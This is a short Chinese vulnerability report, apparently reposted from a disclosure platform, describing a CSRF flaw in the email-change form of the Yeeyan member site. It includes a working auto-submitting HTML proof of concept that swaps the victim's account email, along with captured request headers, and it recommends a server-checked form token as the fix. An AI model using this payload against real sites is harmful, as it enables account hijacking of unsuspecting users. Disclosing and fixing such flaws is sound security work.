由于网页表单验证不严格,导致可以提交恶意用户信息,网站用户面板中有一个功能是更换用户邮箱,这个表单可以被恶意提交不属于当前用户的邮件地址。
详细说明:
<html>
<H2>CSRF Exploit to add </H2>
<body>
<form accept-charset="utf-8" method="POST" action="http://member.yeeyan.org/my/profile/email?" name="form0" enctype="multipart/form-data">
<input type="text" name="data[email]" value="your_email_address@domain测试数据" />
</form>
<script type="text/javascript">
document.form0.submit();
</script>
</body>
</html>
提交伪造数据的header 信息。
Request URL:http://member.yeeyan.org/my/profile/email?
Request Method:POST
Status Code:200 OK
Request Headersview source
Accept-Encoding:gzip,deflate,sdch
Connection:keep-alive
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryUBhOCXRqb1cABfRZ
Host:member.yeeyan.org
Origin:http://member.yeeyan.org
Referer:http://member.yeeyan.org/my/profile/email
Request Payload
------WebKitFormBoundaryUBhOCXRqb1cABfRZ
Content-Disposition: form-data; name="data[email]"
email@domain.net
------WebKitFormBoundaryUBhOCXRqb1cABfRZ--
Response Headersview source
Connection:keep-alive
Content-Encoding:gzip
Content-Type:text/ html
Date:Sat, 08 Dec 2012 19:44:04 GMT
P3P:CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Transfer-Encoding:chunked
Vary:Accept-Encoding
修复方案:
在表单中放置token,提交的时候从服务端验证。
查看更多关于译言网CSRF账户劫持漏洞 - 网站安全 - 自学php的详细内容...